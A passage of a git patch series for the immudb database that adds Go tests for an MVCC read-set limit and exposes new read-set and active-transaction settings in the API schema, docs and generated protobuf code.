when reading keys by prefix", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + for i := 0; i < mvccReadsetLimit; i++ { + _, _, err = tx1.GetWithPrefix([]byte(fmt.Sprintf("key%d", i)), nil) + require.ErrorIs(t, err, ErrKeyNotFound) + } + + for i := 0; i < mvccReadsetLimit; i++ { + _, _, err = tx1.GetWithPrefix([]byte(fmt.Sprintf("key%d", i)), nil) + require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) + } + + err = tx1.Cancel() + require.NoError(t, err) + }) + + t.Run("MVCC read-set limit should not be reached when reading an updated entries", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + for i := 0; i <= mvccReadsetLimit; i++ { + err = tx1.Set([]byte(fmt.Sprintf("key%d", i)), nil, []byte(fmt.Sprintf("value%d", i))) + require.NoError(t, err) + } + + for i := 0; i <= mvccReadsetLimit; i++ { + _, _, err = tx1.GetWithPrefix([]byte(fmt.Sprintf("key%d", i)), nil) + require.NoError(t, err) + } + + err = tx1.Cancel() + require.NoError(t, err) + }) + + t.Run("MVCC read-set limit should be reached when scanning out of read-set boundaries", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + for i := 0; i < mvccReadsetLimit; i++ { + err = tx1.Set([]byte(fmt.Sprintf("key%d", i)), nil, []byte(fmt.Sprintf("value%d", i))) + require.NoError(t, err) + } + + r, err := tx1.NewKeyReader(KeyReaderSpec{Prefix: []byte("key")}) + require.NoError(t, err) + + // Note: creating the reader already consumes one read-set slot + for i := 0; i < mvccReadsetLimit-1; i++ { + _, _, err = r.Read() + require.NoError(t, err) + } + + _, _, err = r.Read() + require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) + + err = r.Close() + require.NoError(t, err) + + err = tx1.Cancel() + require.NoError(t, err) + }) + + t.Run("MVCC read-set limit should be reached when reseting a reader out of read-set boundaries", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + for i := 0; i < mvccReadsetLimit; i++ { + err = tx1.Set([]byte(fmt.Sprintf("key%d", i)), nil, []byte(fmt.Sprintf("value%d", i))) + require.NoError(t, err) + } + + r, err := tx1.NewKeyReader(KeyReaderSpec{Prefix: []byte("key")}) + require.NoError(t, err) + + // Note: creating the reader already consumes one read-set slot + for i := 0; i < mvccReadsetLimit-1; i++ { + _, _, err = r.Read() + require.NoError(t, err) + } + + err = r.Reset() + require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) + + err = r.Close() + require.NoError(t, err) + + err = tx1.Cancel() + require.NoError(t, err) + }) + + t.Run("MVCC read-set limit should be reached when reading non-updated keys", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + for i := 0; i <= mvccReadsetLimit; i++ { + err = tx1.Set([]byte(fmt.Sprintf("key%d", i)), nil, []byte(fmt.Sprintf("value%d", i))) + require.NoError(t, err) + } + + _, err = tx1.Commit() + require.NoError(t, err) + + tx2, err := immuStore.NewTx() + require.NoError(t, err) + + for i := 0; i < mvccReadsetLimit; i++ { + _, err = tx2.Get([]byte(fmt.Sprintf("key%d", i))) + require.NoError(t, err) + } + + _, err = tx2.Get([]byte("key")) + require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) + + _, _, err = tx2.GetWithPrefix([]byte("key"), nil) + require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) + + _, err = tx2.NewKeyReader(KeyReaderSpec{Prefix: []byte("key")}) + require.ErrorIs(t, err, ErrMVCCReadSetLimitExceeded) + + err = tx2.Cancel() + require.NoError(t, err) + }) +} diff --git a/embedded/store/options_test.go b/embedded/store/options_test.go index 5671f7be96..26dcd152be 100644 --- a/embedded/store/options_test.go +++ b/embedded/store/options_test.go @@ -36,6 +36,8 @@ func TestInvalidOptions(t *testing.T) { {"MaxConcurrency", DefaultOptions().WithMaxConcurrency(0)}, {"WriteBufferSize", DefaultOptions().WithWriteBufferSize(0)}, {"SyncFrequency", DefaultOptions().WithSyncFrequency(-1)}, + {"MaxActiveTransactions", DefaultOptions().WithMaxActiveTransactions(0)}, + {"MVCCReadSetLimit", DefaultOptions().WithMVCCReadSetLimit(0)}, {"MaxIOConcurrency", DefaultOptions().WithMaxIOConcurrency(0)}, {"MaxIOConcurrency-max", DefaultOptions().WithMaxIOConcurrency(MaxParallelIO + 1)}, {"TxLogCacheSize", DefaultOptions().WithTxLogCacheSize(-1)}, From 7fb2a4c036dd8bd365f54a9ccd6ad0395f10d12e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 21 Dec 2022 16:05:20 -0300 Subject: [PATCH 0082/1062] chore(pkg/api): expose MVCC read-set settings Signed-off-by: Jeronimo Irazabal --- pkg/api/schema/docs.md | 2 + pkg/api/schema/schema.pb.go | 432 ++++++++++++---------- pkg/api/schema/schema.proto | 6 + pkg/api/schema/schema.swagger.json | 8 + pkg/integration/database_creation_test.go | 4 + pkg/server/db_options.go | 19 + 6 files changed, 270 insertions(+), 201 deletions(-) diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 3ca2a796bc..53a269588b 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -446,6 +446,8 @@ DEPRECATED | syncFrequency | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | Fsync frequency during commit process | | writeBufferSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the in-memory buffer for write operations | | ahtSettings | [AHTNullableSettings](#immudb.schema.AHTNullableSettings) | | Settings of Appendable Hash Tree | +| maxActiveTransactions | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of pre-committed transactions | +| mvccReadSetLimit | [NullableUint32](#immudb.schema.NullableUint32) | | Limit the number of read entries per transaction | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 7b590bdf36..05a0770901 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -5508,6 +5508,10 @@ type DatabaseNullableSettings struct { WriteBufferSize *NullableUint32 `protobuf:"bytes,24,opt,name=writeBufferSize,proto3" json:"writeBufferSize,omitempty"` // Settings of Appendable Hash Tree AhtSettings *AHTNullableSettings `protobuf:"bytes,25,opt,name=ahtSettings,proto3" json:"ahtSettings,omitempty"` + // Maximum number of pre-committed transactions + MaxActiveTransactions *NullableUint32 `protobuf:"bytes,26,opt,name=maxActiveTransactions,proto3" json:"maxActiveTransactions,omitempty"` + // Limit the number of read entries per transaction + MvccReadSetLimit *NullableUint32 `protobuf:"bytes,27,opt,name=mvccReadSetLimit,proto3" json:"mvccReadSetLimit,omitempty"` } func (x *DatabaseNullableSettings) Reset() { @@ -5675,6 +5679,20 @@ func (x *DatabaseNullableSettings) GetAhtSettings() *AHTNullableSettings { return nil } +func (x *DatabaseNullableSettings) GetMaxActiveTransactions() *NullableUint32 { + if x != nil { + return x.MaxActiveTransactions + } + return nil +} + +func (x *DatabaseNullableSettings) GetMvccReadSetLimit() *NullableUint32 { + if x != nil { + return x.MvccReadSetLimit + } + return nil +} + type ReplicationNullableSettings struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -8960,7 +8978,7 @@ var file_schema_proto_rawDesc = []byte{ 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8a, 0x0b, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xaa, 0x0c, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, @@ -9049,7 +9067,17 @@ var file_schema_proto_rawDesc = []byte{ 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0b, 0x61, - 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0xb4, 0x06, 0x0a, 0x1b, 0x52, + 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x53, 0x0a, 0x15, 0x6d, 0x61, + 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, + 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, + 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x22, 0xb4, 0x06, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, @@ -10103,205 +10131,207 @@ var file_schema_proto_depIdxs = []int32{ 80, // 75: immudb.schema.DatabaseNullableSettings.syncFrequency:type_name -> immudb.schema.NullableMilliseconds 75, // 76: immudb.schema.DatabaseNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 84, // 77: immudb.schema.DatabaseNullableSettings.ahtSettings:type_name -> immudb.schema.AHTNullableSettings - 78, // 78: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool - 79, // 79: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString - 79, // 80: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString - 75, // 81: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 - 79, // 82: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString - 79, // 83: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString - 78, // 84: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool - 75, // 85: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 - 75, // 86: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 - 75, // 87: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 - 78, // 88: immudb.schema.ReplicationNullableSettings.AllowTxDiscarding:type_name -> immudb.schema.NullableBool - 75, // 89: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 90: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 91: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 - 75, // 92: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 - 75, // 93: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 - 76, // 94: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 - 75, // 95: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 - 75, // 96: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 - 75, // 97: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 98: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 99: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 100: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 - 77, // 101: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat - 75, // 102: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 103: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 - 115, // 104: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue - 94, // 105: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest - 36, // 106: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata - 96, // 107: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry - 38, // 108: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx - 40, // 109: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof - 124, // 110: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - 125, // 111: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - 126, // 112: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - 127, // 113: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - 1, // 114: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction - 67, // 115: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database - 104, // 116: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings - 81, // 117: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings - 109, // 118: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam - 109, // 119: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam - 115, // 120: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue - 111, // 121: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx - 29, // 122: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader - 128, // 123: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - 129, // 124: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - 113, // 125: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column - 114, // 126: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row - 115, // 127: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue - 130, // 128: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue - 2, // 129: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode - 115, // 130: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 115, // 131: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 131, // 132: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 7, // 133: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 9, // 134: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 99, // 135: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 100, // 136: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 12, // 137: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 13, // 138: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 14, // 139: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 131, // 140: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 131, // 141: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 116, // 142: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 131, // 143: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 131, // 144: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 107, // 145: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 108, // 146: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 10, // 147: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 131, // 148: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 41, // 149: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 45, // 150: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 42, // 151: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest - 46, // 152: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 44, // 153: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 43, // 154: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 21, // 155: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 25, // 156: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 26, // 157: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 131, // 158: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 59, // 159: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 62, // 160: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 63, // 161: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 57, // 162: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 47, // 163: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 131, // 164: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 131, // 165: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 131, // 166: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 52, // 167: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 53, // 168: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 54, // 169: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 58, // 170: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 56, // 171: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 67, // 172: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 68, // 173: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 69, // 174: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 85, // 175: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 87, // 176: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 89, // 177: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 131, // 178: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 102, // 179: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 67, // 180: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 68, // 181: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 71, // 182: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 131, // 183: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 73, // 184: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 91, // 185: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 131, // 186: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 42, // 187: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest - 105, // 188: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 46, // 189: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 105, // 190: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 25, // 191: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest - 56, // 192: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 57, // 193: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 105, // 194: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 65, // 195: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 105, // 196: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 107, // 197: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 108, // 198: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 131, // 199: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 93, // 200: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 95, // 201: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 6, // 202: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 131, // 203: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 131, // 204: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 131, // 205: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 131, // 206: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 131, // 207: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 131, // 208: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 209: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 131, // 210: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 131, // 211: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 117, // 212: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 111, // 213: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 131, // 214: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 131, // 215: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 112, // 216: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 217: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 131, // 218: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 219: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 38, // 220: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 221: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 39, // 222: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 223: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 224: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 225: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 226: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 227: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 228: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 34, // 229: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 38, // 230: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 64, // 231: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 232: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 48, // 233: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 49, // 234: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 50, // 235: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 51, // 236: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 237: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 38, // 238: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 239: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 38, // 240: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 241: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 131, // 242: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 131, // 243: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 70, // 244: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 86, // 245: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 88, // 246: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 90, // 247: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 101, // 248: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 103, // 249: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 98, // 250: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 131, // 251: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 72, // 252: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 68, // 253: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 74, // 254: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 92, // 255: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 131, // 256: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 105, // 257: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 258: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 105, // 259: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 38, // 260: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 105, // 261: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 105, // 262: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 105, // 263: 